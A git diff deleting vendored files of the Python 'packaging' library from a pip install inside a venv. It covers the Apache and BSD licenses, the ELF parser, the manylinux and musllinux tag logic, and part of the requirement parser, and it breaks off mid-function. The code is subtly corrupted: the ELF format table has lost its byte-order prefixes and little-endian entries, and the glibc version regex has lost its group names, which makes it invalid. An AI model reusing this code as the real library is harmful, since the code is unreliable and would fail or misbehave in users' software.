diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/LICENSE.APACHE b/venv/Lib/site-packages/pip/_vendor/packaging/LICENSE.APACHE
deleted file mode 100644
index f433b1a53f5b830a205fd2df78e2b34974656c7b..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/LICENSE.APACHE
+++ /dev/null
@@ -1,177 +0,0 @@
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/LICENSE.BSD b/venv/Lib/site-packages/pip/_vendor/packaging/LICENSE.BSD
deleted file mode 100644
index 42ce7b75c92fb01a3f6ed17eea363f756b7da582..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/LICENSE.BSD
+++ /dev/null
@@ -1,23 +0,0 @@
-Copyright (c) Donald Stufft and individual contributors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-    1. Redistributions of source code must retain the above copyright notice,
-       this list of conditions and the following disclaimer.
-
-    2. Redistributions in binary form must reproduce the above copyright
-       notice, this list of conditions and the following disclaimer in the
-       documentation and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/__init__.py b/venv/Lib/site-packages/pip/_vendor/packaging/__init__.py
deleted file mode 100644
index a6bdf59cd713d41593ba3da47032a831a1be1504..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/__init__.py
+++ /dev/null
@@ -1,15 +0,0 @@
-# This file is dual licensed under the terms of the Apache License, Version
-# 2.0, and the BSD License. See the LICENSE file in the root of this repository
-# for complete details.
-
-__title__ = "packaging"
-__summary__ = "Core utilities for Python packages"
-__uri__ = "https://github.com/pypa/packaging"
-
-__version__ = "26.2"
-
-__author__ = "Donald Stufft and individual contributors"
-__email__ = "donald@stufft.io"
-
-__license__ = "BSD-2-Clause or Apache-2.0"
-__copyright__ = f"2014 {__author__}"
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/_elffile.py b/venv/Lib/site-packages/pip/_vendor/packaging/_elffile.py
deleted file mode 100644
index 497b0645217512ae2ba8ff61341fd2bbfa3648cd..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/_elffile.py
+++ /dev/null
@@ -1,108 +0,0 @@
-"""
-ELF file parser.
-
-This provides a class ``ELFFile`` that parses an ELF executable in a similar
-interface to ``ZipFile``. Only the read interface is implemented.
-
-ELF header: https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html
-"""
-
-from __future__ import annotations
-
-import enum
-import os
-import struct
-from typing import IO
-
-
-class ELFInvalid(ValueError):
-    pass
-
-
-class EIClass(enum.IntEnum):
-    C32 = 1
-    C64 = 2
-
-
-class EIData(enum.IntEnum):
-    Lsb = 1
-    Msb = 2
-
-
-class EMachine(enum.IntEnum):
-    I386 = 3
-    S390 = 22
-    Arm = 40
-    X8664 = 62
-    AArc64 = 183
-
-
-class ELFFile:
-    """
-    Representation of an ELF executable.
-    """
-
-    def __init__(self, f: IO[bytes]) -> None:
-        self._f = f
-
-        try:
-            ident = self._read("16B")
-        except struct.error as e:
-            raise ELFInvalid("unable to parse identification") from e
-        magic = bytes(ident[:4])
-        if magic != b"\x7fELF":
-            raise ELFInvalid(f"invalid magic: {magic!r}")
-
-        self.capacity = ident[4]  # Format for program header (bitness).
-        self.encoding = ident[5]  # Data structure encoding (endianness).
-
-        try:
-            # e_fmt: Format for program header.
-            # p_fmt: Format for section header.
-            # p_idx: Indexes to find p_type, p_offset, and p_filesz.
-            e_fmt, self._p_fmt, self._p_idx = {
-                (1, 1): ("HHIIIIIHHH", ">IIIIIIII", (0, 1, 4)),  # 32-bit MSB.
-                (2, 1): ("HHIQQQIHHH", ">IIQQQQQQ", (0, 2, 5)),  # 64-bit MSB.
-            }[(self.capacity, self.encoding)]
-        except KeyError as e:
-            raise ELFInvalid(
-                f"unrecognized capacity ({self.capacity}) or encoding ({self.encoding})"
-            ) from e
-
-        try:
-            (
-                _,
-                self.machine,  # Architecture type.
-                _,
-                _,
-                self._e_phoff,  # Offset of program header.
-                _,
-                self.flags,  # Processor-specific flags.
-                _,
-                self._e_phentsize,  # Size of section.
-                self._e_phnum,  # Number of sections.
-            ) = self._read(e_fmt)
-        except struct.error as e:
-            raise ELFInvalid("unable to parse machine and section information") from e
-
-    def _read(self, fmt: str) -> tuple[int, ...]:
-        return struct.unpack(fmt, self._f.read(struct.calcsize(fmt)))
-
-    @property
-    def interpreter(self) -> str | None:
-        """
-        The path recorded in the ``PT_INTERP`` section header.
-        """
-        for index in range(self._e_phnum):
-            self._f.seek(self._e_phoff + self._e_phentsize * index)
-            try:
-                data = self._read(self._p_fmt)
-            except struct.error:
-                continue
-            if data[self._p_idx[0]] != 3:  # Not PT_INTERP.
-                continue
-            self._f.seek(data[self._p_idx[1]])
-            return os.fsdecode(self._f.read(data[self._p_idx[2]])).strip("\0")
-        return None
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/_manylinux.py b/venv/Lib/site-packages/pip/_vendor/packaging/_manylinux.py
deleted file mode 100644
index 0e79e8a882be74fe76c80ccf49a9cd68fb636fd4..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/_manylinux.py
+++ /dev/null
@@ -1,262 +0,0 @@
-from __future__ import annotations
-
-import collections
-import contextlib
-import functools
-import os
-import re
-import sys
-import warnings
-from typing import Generator, Iterator, NamedTuple, Sequence
-
-from ._elffile import EIClass, EIData, ELFFile, EMachine
-
-EF_ARM_ABIMASK = 0xFF000000
-EF_ARM_ABI_VER5 = 0x05000000
-EF_ARM_ABI_FLOAT_HARD = 0x00000400
-
-_ALLOWED_ARCHS = {
-    "x86_64",
-    "aarch64",
-    "ppc64",
-    "ppc64le",
-    "s390x",
-    "loongarch64",
-    "riscv64",
-}
-
-
-# `os.PathLike` not a generic type until Python 3.9, so sticking with `str`
-# as the type for `path` until then.
-@contextlib.contextmanager
-def _parse_elf(path: str) -> Generator[ELFFile | None, None, None]:
-    try:
-        with open(path, "rb") as f:
-            yield ELFFile(f)
-    except (OSError, TypeError, ValueError):
-        yield None
-
-
-def _is_linux_armhf(executable: str) -> bool:
-    # hard-float ABI can be detected from the ELF header of the running
-    # process
-    # https://static.docs.arm.com/ihi0044/g/aaelf32.pdf
-    with _parse_elf(executable) as f:
-        return (
-            f is not None
-            and f.capacity == EIClass.C32
-            and f.encoding == EIData.Lsb
-            and f.machine == EMachine.Arm
-            and f.flags & EF_ARM_ABIMASK == EF_ARM_ABI_VER5
-            and f.flags & EF_ARM_ABI_FLOAT_HARD == EF_ARM_ABI_FLOAT_HARD
-        )
-
-
-def _is_linux_i686(executable: str) -> bool:
-    with _parse_elf(executable) as f:
-        return (
-            f is not None
-            and f.capacity == EIClass.C32
-            and f.encoding == EIData.Lsb
-            and f.machine == EMachine.I386
-        )
-
-
-def _have_compatible_abi(executable: str, archs: Sequence[str]) -> bool:
-    if "armv7l" in archs:
-        return _is_linux_armhf(executable)
-    if "i686" in archs:
-        return _is_linux_i686(executable)
-    return any(arch in _ALLOWED_ARCHS for arch in archs)
-
-
-# If glibc ever changes its major version, we need to know what the last
-# minor version was, so we can build the complete list of all versions.
-# For now, guess what the highest minor version might be, assume it will
-# be 50 for testing. Once this actually happens, update the dictionary
-# with the actual value.
-_LAST_GLIBC_MINOR: dict[int, int] = collections.defaultdict(lambda: 50)
-
-
-class _GLibCVersion(NamedTuple):
-    major: int
-    minor: int
-
-
-def _glibc_version_string_confstr() -> str | None:
-    """
-    Primary implementation of glibc_version_string using os.confstr.
-    """
-    # os.confstr is quite a bit faster than ctypes.DLL. It's also less likely
-    # to be broken or missing. This strategy is used in the standard library
-    # platform module.
-    # https://github.com/python/cpython/blob/fcf1d003bf4f0100c/Lib/platform.py#L175-L183
-    try:
-        # Should be a string like "glibc 2.17".
-        version_string: str | None = os.confstr("CS_GNU_LIBC_VERSION")
-        assert version_string is not None
-        _, version = version_string.rsplit()
-    except (AssertionError, AttributeError, OSError, ValueError):
-        # os.confstr() or CS_GNU_LIBC_VERSION not available (or a bad value)...
-        return None
-    return version
-
-
-def _glibc_version_string_ctypes() -> str | None:
-    """
-    Fallback implementation of glibc_version_string using ctypes.
-    """
-    try:
-        import ctypes  # noqa: PLC0415
-    except ImportError:
-        return None
-
-    # ctypes.CDLL(None) internally calls dlopen(NULL), and as the dlopen
-    # manpage says, "If filename is NULL, then the returned handle is for the
-    # main program". This way we can let the linker do the work to figure out
-    # which libc our process is actually using.
-    #
-    # We must also handle the special case where the executable is not a
-    # dynamically linked executable. This can occur when using musl libc,
-    # for example. In this situation, dlopen() will error, leading to an
-    # OSError. Interestingly, at least in the case of musl, there is no
-    # errno set on the OSError. The single string argument used to construct
-    # OSError comes from libc itself and is therefore not portable to
-    # hard code here. In any case, failure to call dlopen() means we
-    # can proceed, so we bail on our attempt.
-    try:
-        process_namespace = ctypes.CDLL(None)
-    except OSError:
-        return None
-
-    try:
-        gnu_get_libc_version = process_namespace.gnu_get_libc_version
-    except AttributeError:
-        # Symbol doesn't exist -> therefore, we are not linked to
-        # glibc.
-        return None
-
-    # Call gnu_get_libc_version, which returns a string like "2.5"
-    gnu_get_libc_version.restype = ctypes.c_char_p
-    version_str: str = gnu_get_libc_version()
-    # py2 / py3 compatibility:
-    if not isinstance(version_str, str):
-        version_str = version_str.decode("ascii")
-
-    return version_str
-
-
-def _glibc_version_string() -> str | None:
-    """Returns glibc version string, or None if not using glibc."""
-    return _glibc_version_string_confstr() or _glibc_version_string_ctypes()
-
-
-def _parse_glibc_version(version_str: str) -> _GLibCVersion:
-    """Parse glibc version.
-
-    We use a regexp instead of str.split because we want to discard any
-    random junk that might come after the minor version -- this might happen
-    in patched/forked versions of glibc (e.g. Linaro's version of glibc
-    uses version strings like "2.20-2014.11"). See gh-3588.
-    """
-    m = re.match(r"(?P[0-9]+)\.(?P[0-9]+)", version_str)
-    if not m:
-        warnings.warn(
-            f"Expected glibc version with 2 components major.minor, got: {version_str}",
-            RuntimeWarning,
-            stacklevel=2,
-        )
-        return _GLibCVersion(-1, -1)
-    return _GLibCVersion(int(m.group("major")), int(m.group("minor")))
-
-
-@functools.lru_cache
-def _get_glibc_version() -> _GLibCVersion:
-    version_str = _glibc_version_string()
-    if version_str is None:
-        return _GLibCVersion(-1, -1)
-    return _parse_glibc_version(version_str)
-
-
-# From PEP 513, PEP 600
-def _is_compatible(arch: str, version: _GLibCVersion) -> bool:
-    sys_glibc = _get_glibc_version()
-    if sys_glibc < version:
-        return False
-    # Check for presence of _manylinux module.
-    try:
-        import _manylinux  # noqa: PLC0415
-    except ImportError:
-        return True
-    if hasattr(_manylinux, "manylinux_compatible"):
-        result = _manylinux.manylinux_compatible(version[0], version[1], arch)
-        if result is not None:
-            return bool(result)
-        return True
-    if version == _GLibCVersion(2, 5) and hasattr(_manylinux, "manylinux1_compatible"):
-        return bool(_manylinux.manylinux1_compatible)
-    if version == _GLibCVersion(2, 12) and hasattr(
-        _manylinux, "manylinux2010_compatible"
-    ):
-        return bool(_manylinux.manylinux2010_compatible)
-    if version == _GLibCVersion(2, 17) and hasattr(
-        _manylinux, "manylinux2014_compatible"
-    ):
-        return bool(_manylinux.manylinux2014_compatible)
-    return True
-
-
-_LEGACY_MANYLINUX_MAP: dict[_GLibCVersion, str] = {
-    # CentOS 7 w/ glibc 2.17 (PEP 599)
-    _GLibCVersion(2, 17): "manylinux2014",
-    # CentOS 6 w/ glibc 2.12 (PEP 571)
-    _GLibCVersion(2, 12): "manylinux2010",
-    # CentOS 5 w/ glibc 2.5 (PEP 513)
-    _GLibCVersion(2, 5): "manylinux1",
-}
-
-
-def platform_tags(archs: Sequence[str]) -> Iterator[str]:
-    """Generate manylinux tags compatible to the current platform.
-
-    :param archs: Sequence of compatible architectures.
-        The first one shall be the closest to the actual architecture and be the part of
-        platform tag after the ``linux_`` prefix, e.g. ``x86_64``.
-        The ``linux_`` prefix is assumed as a prerequisite for the current platform to
-        be manylinux-compatible.
-
-    :returns: An iterator of compatible manylinux tags.
-    """
-    if not _have_compatible_abi(sys.executable, archs):
-        return
-    # Oldest glibc to be supported regardless of architecture is (2, 17).
-    too_old_glibc2 = _GLibCVersion(2, 16)
-    if set(archs) & {"x86_64", "i686"}:
-        # On x86/i686 also oldest glibc to be supported is (2, 5).
-        too_old_glibc2 = _GLibCVersion(2, 4)
-    current_glibc = _GLibCVersion(*_get_glibc_version())
-    glibc_max_list = [current_glibc]
-    # We can assume compatibility across glibc major versions.
-    # https://sourceware.org/bugzilla/show_bug.cgi?id=24636
-    #
-    # Build a list of maximum glibc versions so that we can
-    # output the canonical list of all glibc from current_glibc
-    # down to too_old_glibc2, including all intermediary versions.
-    for glibc_major in range(current_glibc.major - 1, 1, -1):
-        glibc_minor = _LAST_GLIBC_MINOR[glibc_major]
-        glibc_max_list.append(_GLibCVersion(glibc_major, glibc_minor))
-    for arch in archs:
-        for glibc_max in glibc_max_list:
-            if glibc_max.major == too_old_glibc2.major:
-                min_minor = too_old_glibc2.minor
-            else:
-                # For other glibc major versions oldest supported is (x, 0).
-                min_minor = -1
-            for glibc_minor in range(glibc_max.minor, min_minor, -1):
-                glibc_version = _GLibCVersion(glibc_max.major, glibc_minor)
-                if _is_compatible(arch, glibc_version):
-                    yield "manylinux_{}_{}_{}".format(*glibc_version, arch)
-
-                    # Handle the legacy manylinux1, manylinux2010, manylinux2014 tags.
-                    if legacy_tag := _LEGACY_MANYLINUX_MAP.get(glibc_version):
-                        yield f"{legacy_tag}_{arch}"
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/_musllinux.py b/venv/Lib/site-packages/pip/_vendor/packaging/_musllinux.py
deleted file mode 100644
index 4e8116a79ca80d60657542a23b4bbcbc3c518eaf..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/_musllinux.py
+++ /dev/null
@@ -1,85 +0,0 @@
-"""PEP 656 support.
-
-This module implements logic to detect if the currently running Python is
-linked against musl, and what musl version is used.
-"""
-
-from __future__ import annotations
-
-import functools
-import re
-import subprocess
-import sys
-from typing import Iterator, NamedTuple, Sequence
-
-from ._elffile import ELFFile
-
-
-class _MuslVersion(NamedTuple):
-    major: int
-    minor: int
-
-
-def _parse_musl_version(output: str) -> _MuslVersion | None:
-    lines = [n for n in (n.strip() for n in output.splitlines()) if n]
-    if len(lines) < 2 or lines[0][:4] != "musl":
-        return None
-    m = re.match(r"Version (\d+)\.(\d+)", lines[1])
-    if not m:
-        return None
-    return _MuslVersion(major=int(m.group(1)), minor=int(m.group(2)))
-
-
-@functools.lru_cache
-def _get_musl_version(executable: str) -> _MuslVersion | None:
-    """Detect currently-running musl runtime version.
-
-    This is done by checking the specified executable's dynamic linking
-    information, and invoking the loader to parse its output for a version
-    string. If the loader is musl, the output would be something like::
-
-        musl libc (x86_64)
-        Version 1.2.2
-        Dynamic Program Loader
-    """
-    try:
-        with open(executable, "rb") as f:
-            ld = ELFFile(f).interpreter
-    except (OSError, TypeError, ValueError):
-        return None
-    if ld is None or "musl" not in ld:
-        return None
-    proc = subprocess.run([ld], check=False, stderr=subprocess.PIPE, text=True)
-    return _parse_musl_version(proc.stderr)
-
-
-def platform_tags(archs: Sequence[str]) -> Iterator[str]:
-    """Generate musllinux tags compatible to the current platform.
-
-    :param archs: Sequence of compatible architectures.
-        The first one shall be the closest to the actual architecture and be the part of
-        platform tag after the ``linux_`` prefix, e.g. ``x86_64``.
-        The ``linux_`` prefix is assumed as a prerequisite for the current platform to
-        be musllinux-compatible.
-
-    :returns: An iterator of compatible musllinux tags.
-    """
-    sys_musl = _get_musl_version(sys.executable)
-    if sys_musl is None:  # Python not dynamically linked against musl.
-        return
-    for arch in archs:
-        for minor in range(sys_musl.minor, -1, -1):
-            yield f"musllinux_{sys_musl.major}_{minor}_{arch}"
-
-
-if __name__ == "__main__":  # pragma: no cover
-    import sysconfig
-
-    plat = sysconfig.get_platform()
-    assert plat.startswith("linux-"), "not linux"
-
-    print("plat:", plat)
-    print("musl:", _get_musl_version(sys.executable))
-    print("tags:", end=" ")
-    for t in platform_tags(re.sub(r"[.-]", "_", plat.split("-", 1)[-1])):
-        print(t, end="\n      ")
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/_parser.py b/venv/Lib/site-packages/pip/_vendor/packaging/_parser.py
deleted file mode 100644
index d320269e1531d822003bde7a826ba24eecca3bae..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/_parser.py
+++ /dev/null
@@ -1,393 +0,0 @@
-"""Handwritten parser of dependency specifiers.
-
-The docstring for each __parse_* function contains EBNF-inspired grammar representing
-the implementation.
-"""
-
-from __future__ import annotations
-
-import ast
-from typing import List, Literal, NamedTuple, Sequence, Tuple, Union
-
-from ._tokenizer import DEFAULT_RULES, Tokenizer
-
-
-class Node:
-    __slots__ = ("value",)
-
-    def __init__(self, value: str) -> None:
-        self.value = value
-
-    def __str__(self) -> str:
-        return self.value
-
-    def __repr__(self) -> str:
-        return f"<{self.__class__.__name__}({self.value!r})>"
-
-    def serialize(self) -> str:
-        raise NotImplementedError
-
-    def __getstate__(self) -> str:
-        # Return just the value string for compactness and stability.
-        return self.value
-
-    def _restore_value(self, value: object) -> None:
-        if not isinstance(value, str):
-            raise TypeError(
-                f"Cannot restore {self.__class__.__name__} value from {value!r}"
-            )
-        self.value = value
-
-    def __setstate__(self, state: object) -> None:
-        if isinstance(state, str):
-            # New format (26.2+): just the value string.
-            self._restore_value(state)
-            return
-        if isinstance(state, tuple) and len(state) == 2:
-            # Old format (packaging <= 26.0, __slots__): (None, {slot: value}).
-            _, slot_dict = state
-            if isinstance(slot_dict, dict) and "value" in slot_dict:
-                self._restore_value(slot_dict["value"])
-                return
-        if isinstance(state, dict) and "value" in state:
-            # Old format (packaging <= 25.0, no __slots__): plain __dict__.
-            self._restore_value(state["value"])
-            return
-        raise TypeError(f"Cannot restore {self.__class__.__name__} from {state!r}")
-
-
-class Variable(Node):
-    __slots__ = ()
-
-    def serialize(self) -> str:
-        return str(self)
-
-
-class Value(Node):
-    __slots__ = ()
-
-    def serialize(self) -> str:
-        return f'"{self}"'
-
-
-class Op(Node):
-    __slots__ = ()
-
-    def serialize(self) -> str:
-        return str(self)
-
-
-MarkerLogical = Literal["and", "or"]
-MarkerVar = Union[Variable, Value]
-MarkerItem = Tuple[MarkerVar, Op, MarkerVar]
-MarkerAtom = Union[MarkerItem, Sequence["MarkerAtom"]]
-MarkerList = List[Union["MarkerList", MarkerAtom, MarkerLogical]]
-
-
-class ParsedRequirement(NamedTuple):
-    name: str
-    url: str
-    extras: list[str]
-    specifier: str
-    marker: MarkerList | None
-
-
-# --------------------------------------------------------------------------------------
-# Recursive descent parser for dependency specifier
-# --------------------------------------------------------------------------------------
-def parse_requirement(source: str) -> ParsedRequirement:
-    return _parse_requirement(Tokenizer(source, rules=DEFAULT_RULES))
-
-
-def _parse_requirement(tokenizer: Tokenizer) -> ParsedRequirement:
-    """
-    requirement = WS? IDENTIFIER WS? extras WS? requirement_details
-    """
-    tokenizer.consume("WS")
-
-    name_token = tokenizer.expect(
-        "IDENTIFIER", expected="package name at the start of dependency specifier"
-    )
-    name = name_token.text
-    tokenizer.consume("WS")
-
-    extras = _parse_extras(tokenizer)
-    tokenizer.consume("WS")
-
-    url, specifier, marker = _parse_requirement_details(tokenizer)
-    tokenizer.expect("END", expected="end of dependency specifier")
-
-    return ParsedRequirement(name, url, extras, specifier, marker)
-
-
-def _parse_requirement_details(
-    tokenizer: Tokenizer,
-) -> tuple[str, str, MarkerList | None]:
-    """
-    requirement_details = AT URL (WS requirement_marker?)?
-                        | specifier WS? (requirement_marker)?
-    """
-
-    specifier = ""
-    url = ""
-    marker = None
-
-    if tokenizer.check("AT"):
-        tokenizer.read()
-        tokenizer.consume("WS")
-
-        url_start = tokenizer.position
-        url = tokenizer.expect("URL", expected="URL after @").text
-        if tokenizer.check("END", peek=True):
-            return (url, specifier, marker)
-
-        tokenizer.expect("WS", expected="whitespace after URL")
-
-        # The input might end after whitespace.
-        if tokenizer.check("END", peek=True):
-            return (url, specifier, marker)
-
-        marker = _parse_requirement_marker(
-            tokenizer,
-            span_start=url_start,
-            expected="semicolon (after URL and whitespace)",
-        )
-    else:
-        specifier_start = tokenizer.position
-        specifier = _parse_specifier(tokenizer)
-        tokenizer.consume("WS")
-
-        if tokenizer.check("END", peek=True):
-            return (url, specifier, marker)
-
-        marker = _parse_requirement_marker(
-            tokenizer,
-            span_start=specifier_start,
-            expected=(
-                "comma (within version specifier), semicolon (after version specifier)"
-                if specifier
-                else "semicolon (after name with no version specifier)"
-            ),
-        )
-
-    return (url, specifier, marker)
-
-
-def _parse_requirement_marker(
-    tokenizer: Tokenizer, *, span_start: int, expected: str
-) -> MarkerList:
-    """
-    requirement_marker = SEMICOLON marker WS?
-    """
-
-    if not tokenizer.check("SEMICOLON"):
-        tokenizer.raise_syntax_error(
-            f"Expected {expected} or end",
-            span_start=span_start,
-            span_end=None,
-        )
-    tokenizer.read()
-
-    marker = _parse_marker(tokenizer)
-    tokenizer.consume("WS")
-
-    return marker
-
-
-def _parse_extras(tokenizer: Tokenizer) -> list[str]:
-    """
-    extras = (LEFT_BRACKET wsp* extras_list? wsp* RIGHT_BRACKET)?
-    """
-    if not tokenizer.check("LEFT_BRACKET", peek=True):
-        return []
-
-    with tokenizer.enclosing_tokens(
-        "LEFT_BRACKET",
-        "RIGHT_BRACKET",
-        around="extras",
-    ):
-        tokenizer.consume("WS")
-        extras = _parse_extras_list(tokenizer)
-        tokenizer.consume("WS")
-
-    return extras
-
-
-def _parse_extras_list(tokenizer: Tokenizer) -> list[str]:
-    """
-    extras_list = identifier (wsp* ',' wsp* identifier)*
-    """
-    extras: list[str] = []
-
-    if not tokenizer.check("IDENTIFIER"):
-        return extras
-
-    extras.append(tokenizer.read().text)
-
-    while True:
-        tokenizer.consume("WS")
-        if tokenizer.check("IDENTIFIER", peek=True):
